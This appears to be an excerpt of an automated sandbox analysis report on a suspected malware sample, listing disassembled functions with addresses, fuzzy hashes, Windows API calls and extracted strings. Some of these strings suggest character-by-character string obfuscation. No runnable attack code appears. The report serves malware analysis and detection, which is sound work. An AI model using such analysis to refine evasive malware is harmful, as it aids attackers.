Instruction Fuzzy Hash: 6BC19B35708345CFCB08CF28E8D062AB7E2EF8A315F19897DD68687262D734D955CB89

Function 0043B770 Relevance: .4, Instructions: 367COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 688b76624d525eaf0ce9fa5cf21b5d87fff5a1ab258e288ac15831af2575b913
Instruction ID: 9ef4112fa06ea0569f17a936c8a1ff53ee514fd962a2da346eee000901fa8c15
Opcode Fuzzy Hash: 688b76624d525eaf0ce9fa5cf21b5d87fff5a1ab258e288ac15831af2575b913
Instruction Fuzzy Hash: 61B1BB35608345CFCB08CF28E8D062AB7E1EF8A315F19897DE586873A2D734D945CB89

Function 0043B800 Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adf1b7d576e4fed9cc7ce514cb83614a0c35ed7bb0306d9a1f4cb7f6156468d5
Instruction ID: 4a7deee4ee1c5d659692a853ffd630c2d4e65f4bbd716f31b154daa56903f1b8
Opcode Fuzzy Hash: adf1b7d576e4fed9cc7ce514cb83614a0c35ed7bb0306d9a1f4cb7f6156468d5
Instruction Fuzzy Hash: 27B1ED35608345CFDB08CF38E89026AB7E2EF8A315F19897DE58687392D734D945CB89

Function 00427250 Relevance: .3, Instructions: 328COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cecc24e4d3ef3f1925505adc10fab0cf0289c919c18343e36b3532985cb26a8
Instruction ID: 070e49bb1f4e50b291938910a7506f30efe92874f38aa46917bdf13f68cd6912
Opcode Fuzzy Hash: 2cecc24e4d3ef3f1925505adc10fab0cf0289c919c18343e36b3532985cb26a8
Instruction Fuzzy Hash: C6B10676B005118BDB0CCF29D85167FB7A2AF89310F5A817DE806AB396DF34D811CB94

Function 00438A00 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 551ae725fcb1043a4e26ad2af6031b7478f0b5a02a253dbe72a4f04995e05786
Instruction ID: bcae04b543a4fed49f93e468c6d058a90c50197169206734b4223745c1ca7b33
Opcode Fuzzy Hash: 551ae725fcb1043a4e26ad2af6031b7478f0b5a02a253dbe72a4f04995e05786
Instruction Fuzzy Hash: A4611672B053119FD7249E28CC8156FF792FBCA310F1AA93EE99467351DA38AC01C799

Function 0043BA90 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60522840b3983806b94b7f2fcd4df9fb073890f2652f0471a78eab652d74998d
Instruction ID: e7ffacebb186bd35dcf691c6eaaae8a45ff6a702286b1ea76cf53365c9d13156
Opcode Fuzzy Hash: 60522840b3983806b94b7f2fcd4df9fb073890f2652f0471a78eab652d74998d
Instruction Fuzzy Hash: 7551ED75609740DFD7048F39E88032AB7E2EFDA311F59987DE58587392D7798842CB06

Function 0042C3A4 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51978454db0d28e996298ae7c2e973bbe2c0492b0292a67b91a05c4929c8cbc8
Instruction ID: b6836cf522203fdb1a1ff0a6c5a771f07b098ac58242e2a3cb148daf5e3cb15d
Opcode Fuzzy Hash: 51978454db0d28e996298ae7c2e973bbe2c0492b0292a67b91a05c4929c8cbc8
Instruction Fuzzy Hash: 375118717447628FC720CA28D4D027BB7A1DF5A350798876FC4968B382D23DF88AD399

Function 00428D60 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cfdd18e5fc31f559eef85093a110c5a6d3dd34f48e117ff11bcc26d3c532901
Instruction ID: 5d47813cdba19e17c1b8253fb2801a9bd85d1dd50861cd15727c88eeedbb3834
Opcode Fuzzy Hash: 3cfdd18e5fc31f559eef85093a110c5a6d3dd34f48e117ff11bcc26d3c532901
Instruction Fuzzy Hash: AE519271B05B108BC734CE29E8D062BF7F2AF953147598A2ED4A6C7791DB34EC098798

Function 0042AD2D Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7e8d07cfd8eba2abf8c2b05f9494af6c76d9082774511ee409b3e95d962f2b5
Instruction ID: 938715693753a4edb5d78c7b3f4f487a607dde41029e56ad2683bb53f7007deb
Opcode Fuzzy Hash: c7e8d07cfd8eba2abf8c2b05f9494af6c76d9082774511ee409b3e95d962f2b5
Instruction Fuzzy Hash: 4541C0642046928BDB158F7AA0903B7FFA1AF63344F6885CEC4D65B343C7299847CB69

Function 0042C189 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e8031741ce3be44f90db9408a9392ff7b7feb46da4ed2eb02f07a29a3283026
Instruction ID: 6425a6b9a582dd3bc07fbe5876e6037d07ca5136ef6a343df5174a0f9ac2bb7e
Opcode Fuzzy Hash: 9e8031741ce3be44f90db9408a9392ff7b7feb46da4ed2eb02f07a29a3283026
Instruction Fuzzy Hash: 303138646042928BDB158F79A0A13B7BBA0EF53344F6C95DEC0D28B343D7288847C798

Function 00426288 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68b7b6e1a8ae9ff68a5e5a9a35f781b8e3bf0cd28b81fb9cf2b0760015daf89a
Instruction ID: b0774305076c47a7440cfc0bf03c39175e06880136cff9ff491b154823b0492b
Opcode Fuzzy Hash: 68b7b6e1a8ae9ff68a5e5a9a35f781b8e3bf0cd28b81fb9cf2b0760015daf89a
Instruction Fuzzy Hash: F131C2B09057508FC721CF24D8A1263B7F0FF12350B195A9ED4C35B692E738990ACB55

Function 004262B1 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73b81139b73f3013a698a71c97edfc7f49fe09bca3072786aca8b5cd9eddb53a
Instruction ID: 54c3efd72bc484fb5cfb551817dace4e933364166ad5f207f3d27aaea7e53802
Opcode Fuzzy Hash: 73b81139b73f3013a698a71c97edfc7f49fe09bca3072786aca8b5cd9eddb53a
Instruction Fuzzy Hash: 9821A7B0A01B14CBC720DF64D8A1267B3F0FF12340B54592DD8C36BB61E738AA09CB98

Function 004330F0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: d678fdf0d93dce72c06c42feb07d799dc6e906fa53fa707c10152e8a2c2ada8b
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 59110033A091D40EC7168D3C8400565BFE30B97635F5D939AF4F4972D2D52B8E8B8359

Function 00428EF0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 661a6e24e40bbba886a3ebe4df9a4cff2df65edc8824cef9dd24e50f5db8a443
Instruction ID: 011f6a5abea5b87b46568ce8f37705bddba90aa052c7f329d90a8dd93bd1efce
Opcode Fuzzy Hash: 661a6e24e40bbba886a3ebe4df9a4cff2df65edc8824cef9dd24e50f5db8a443
Instruction Fuzzy Hash: 6D01DEF170271147D760AE51A6C072BB3AA6B90308F0A443EE90867342DF7DEC08829D

Function 00439B80 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb6114f9fed7a8ab5b1f5b0265441363e33dd5c7bb20cfbbfaf4e4cbb346c848
Instruction ID: 84aedcd8c844a76d707aaa6490f19695bf9bea467c10beebd98febfdcbe31fa8
Opcode Fuzzy Hash: fb6114f9fed7a8ab5b1f5b0265441363e33dd5c7bb20cfbbfaf4e4cbb346c848
Instruction Fuzzy Hash: 1BC02B2871C50087C70CCF10EC00035B276F78B204F50712AC0032361FC0E0C402460C

Function 0041C6A4 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebe83ac0fc1da9879fed2ad97c6bae7c650d371e541aab90ec2c719f97d8e25b
Instruction ID: d572b435433c33bc957bc64eed225b0cbfb09c5a0cff2b0c6b0e398834ebbbed
Opcode Fuzzy Hash: ebe83ac0fc1da9879fed2ad97c6bae7c650d371e541aab90ec2c719f97d8e25b
Instruction Fuzzy Hash: 5EA002E9C89809C7D5847F117A02179F1789217289F453179A54A33153A979D15C854E

Function 0042F2CE Relevance: 66.7, APIs: 1, Strings: 37, Instructions: 168memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0042F376

Strings

', xrefs: 0042F2F4
J, xrefs: 0042F50F
{, xrefs: 0042F30D
G, xrefs: 0042F4DF
N, xrefs: 0042F42F
F, xrefs: 0042F3DF
K, xrefs: 0042F53F
O, xrefs: 0042F39F
B, xrefs: 0042F4CF
U, xrefs: 0042F51F
K, xrefs: 0042F3BF
E, xrefs: 0042F577
H, xrefs: 0042F47F
A, xrefs: 0042F557
G, xrefs: 0042F4EF
\, xrefs: 0042F48F
#, xrefs: 0042F2EA
e, xrefs: 0042F46F
z, xrefs: 0042F4AF
f, xrefs: 0042F4FF
z, xrefs: 0042F308
4, xrefs: 0042F2FE
w, xrefs: 0042F2F9
0, xrefs: 0042F60E
D, xrefs: 0042F56F
\, xrefs: 0042F41F
m, xrefs: 0042F44F
C, xrefs: 0042F49F
G, xrefs: 0042F4BF
u, xrefs: 0042F2EF
C, xrefs: 0042F567
S, xrefs: 0042F3CF
@, xrefs: 0042F3AF
Q, xrefs: 0042F43F
[, xrefs: 0042F38F
y, xrefs: 0042F303
X, xrefs: 0042F52F

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: AllocString
String ID: #$'$0$4$@$A$B$C$C$D$E$F$G$G$G$H$J$K$K$N$O$Q$S$U$X$[$\$\$e$f$m$u$w$y$z$z${
API String ID: 2525500382-17171256
Opcode ID: 565799cc9e669834e79059cc2891b53017e67edc197782a127e3051f545d0c6f
Instruction ID: a04f4f89c1eb9f3b9d2e5566426f48c9242b968391bb4510f6409d18c5e24536
Opcode Fuzzy Hash: 565799cc9e669834e79059cc2891b53017e67edc197782a127e3051f545d0c6f
Instruction Fuzzy Hash: E691076150C7C18ED332CB3C884878BBED15BA7224F484BADD5ED5B2D2C7B945098767

Function 0042EF08 Relevance: 26.3, APIs: 2, Strings: 13, Instructions: 55COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0042EF12
VariantInit.OLEAUT32 ref: 0042EF25

Strings

[, xrefs: 0042EF59
M, xrefs: 0042EFB3
G, xrefs: 0042EF95
], xrefs: 0042EF63
L, xrefs: 0042EFAE
Y, xrefs: 0042EF4F
C, xrefs: 0042EF81
A, xrefs: 0042EF77
E, xrefs: 0042EF8B
_, xrefs: 0042EF6D
I, xrefs: 0042EF9F
W, xrefs: 0042EF45
K, xrefs: 0042EFA9

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: Variant$ClearInit
String ID: A$C$E$G$I$K$L$M$W$Y$[$]$_
API String ID: 2610073882-2890171266
Opcode ID: 30e3f39d2b7907aa142a4f4320250002171428e40efd818ff74ff160ebeaf911
Instruction ID: b6f7cae45f05b69b09684d1b5318f855af094a2e3f983b58365ef8f7b97a9cf3
Opcode Fuzzy Hash: 30e3f39d2b7907aa142a4f4320250002171428e40efd818ff74ff160ebeaf911
Instruction Fuzzy Hash: 6C31F66000CBD1CAD3229778944874FFFE15BA3324F084A9DE6E54B2D2D7AA8449C767

Function 00DA5DA2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,00000000,7FFFFFFF,?,00DA5D8D,00000000,00000000,00000000,00000000,?,?,?,?,00000000,00000000), ref: 00DA5E48
__alloca_probe_16.LIBCMT ref: 00DA5F03
__alloca_probe_16.LIBCMT ref: 00DA5F92
__freea.LIBCMT ref: 00DA5FDD
__freea.LIBCMT ref: 00DA5FE3
__freea.LIBCMT ref: 00DA6019
__freea.LIBCMT ref: 00DA601F
__freea.LIBCMT ref: 00DA602F

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 026024d234df1f159c7e0eba083ad7085680d33cda558413e82676fe77ea7722
Instruction ID: 94116349f33835ac8efebb53bf97aa351e812ae422b8ae87821aac27f75c9535
Opcode Fuzzy Hash: 026024d234df1f159c7e0eba083ad7085680d33cda558413e82676fe77ea7722
Instruction Fuzzy Hash: 8671E472904606AFDF21AE649C41FAF7BA9DF46310F2C005AFD54A7285EB35DE4087B1

Function 00D8BC65 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 00D8BCAC
__alloca_probe_16.LIBCMT ref: 00D8BCD8
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00D8BD17
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D8BD34
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00D8BD73
__alloca_probe_16.LIBCMT ref: 00D8BD90
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00D8BDD2
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00D8BDF5

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 7e034050cfe6c71bcb68ebe111d8e72beb2eb1ea51aadd3c36b75217238c294a
Instruction ID: 4244f9e138224a7785dc4f17ce47585284e1022e24fd95451c5802de54d36dbe
Opcode Fuzzy Hash: 7e034050cfe6c71bcb68ebe111d8e72beb2eb1ea51aadd3c36b75217238c294a
Instruction Fuzzy Hash: 2A518E72600206FFEF216F61CC45FAB7BA9EB44760F29412AFA15E6190DB34DD118BB0

Function 00D9A29B Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D9A321

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 2c47a9589d857942ba6db73439f18bf632ce85774986f6ba8f5dc3e95f03e122
Instruction ID: fd437cda39d1fbcfdcdadfb376c9d5b68b520caf9c4d8970326f8ac2a40bac8f
Opcode Fuzzy Hash: 2c47a9589d857942ba6db73439f18bf632ce85774986f6ba8f5dc3e95f03e122
Instruction Fuzzy Hash: 4DB10473A002659FDF118F6CCC82BAEBBA5EF55350F198155E948AB282D274D901C7F2

Function 00D8CBA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D8CBD7
___except_validate_context_record.LIBVCRUNTIME ref: 00D8CBDF
_ValidateLocalCookies.LIBCMT ref: 00D8CC68
__IsNonwritableInCurrentImage.LIBCMT ref: 00D8CC93
_ValidateLocalCookies.LIBCMT ref: 00D8CCE8

Strings

csm, xrefs: 00D8CC7D

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c70920877381f4d31fb31f1a2c45b297b32ec6d79a606fa55353b2420f8ca142
Instruction ID: af0a66af44b1706bacb058701c8f7702600fa734a9b50d2388e8e532ab84b1cf
Opcode Fuzzy Hash: c70920877381f4d31fb31f1a2c45b297b32ec6d79a606fa55353b2420f8ca142
Instruction Fuzzy Hash: 6E41E334A20218EFCF10EF68C885A9EBBB1EF45314F188155E8199B362D731EE15CBB5

Function 00D98362 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,BB40E64E,?,00D98471,00D821C2,?,00000000,?), ref: 00D98423

Strings

ext-ms-, xrefs: 00D983CD
api-ms-, xrefs: 00D983B9

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: da0c58385fdda4a67463141e9f7083aeb518aed811c8580e53b9e602badc82ae
Instruction ID: bacdf6155509dc8be18f8ee99360d623ce22004bd56c8a94474ecdc33e326e93
Opcode Fuzzy Hash: da0c58385fdda4a67463141e9f7083aeb518aed811c8580e53b9e602badc82ae
Instruction Fuzzy Hash: 6421C331A01315EBDF219B65EC44A5F3B59AF46BA0F290221E951E7391DB30ED01D6F0

Function 00D8BEDC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00D8BEE2
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00D8BEF0
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00D8BF01

Strings

GetTempPath2W, xrefs: 00D8BEF6
kernel32.dll, xrefs: 00D8BEDD
GetSystemTimePreciseAsFileTime, xrefs: 00D8BEEA

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 9a1c216be92cfcee9da137fe35af252484d8db07521685a09b155faafa28ffb2
Instruction ID: 19d8e03ab6a69d5fd0a37f06f6cb00b76ab536f4c2ccc15aec5c1cad734ee3eb
Opcode Fuzzy Hash: 9a1c216be92cfcee9da137fe35af252484d8db07521685a09b155faafa28ffb2
Instruction Fuzzy Hash: 6FD09E79656354EF97005B707C098973FA5DA467513068257F411D3361E6B455048F71

Function 00D9FF39 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1d81ce45b5f3bb0ab33a316def5734c136123acda92a7f322284306a11e0b9d
Instruction ID: 9fde8fe4765b691de3f7480fb4ae948adc3b830f939116c0148592ad12856904
Opcode Fuzzy Hash: e1d81ce45b5f3bb0ab33a316def5734c136123acda92a7f322284306a11e0b9d
Instruction Fuzzy Hash: CCB1BF70A04349EFDF11DFA8C881BAE7FB1EF46310F184258E955A7292C7709942CBB4

Function 00D96112 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D96109,00D8C977,00D8B7A5), ref: 00D96120
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D9612E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D96147
SetLastError.KERNEL32(00000000,00D96109,00D8C977,00D8B7A5), ref: 00D96199

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

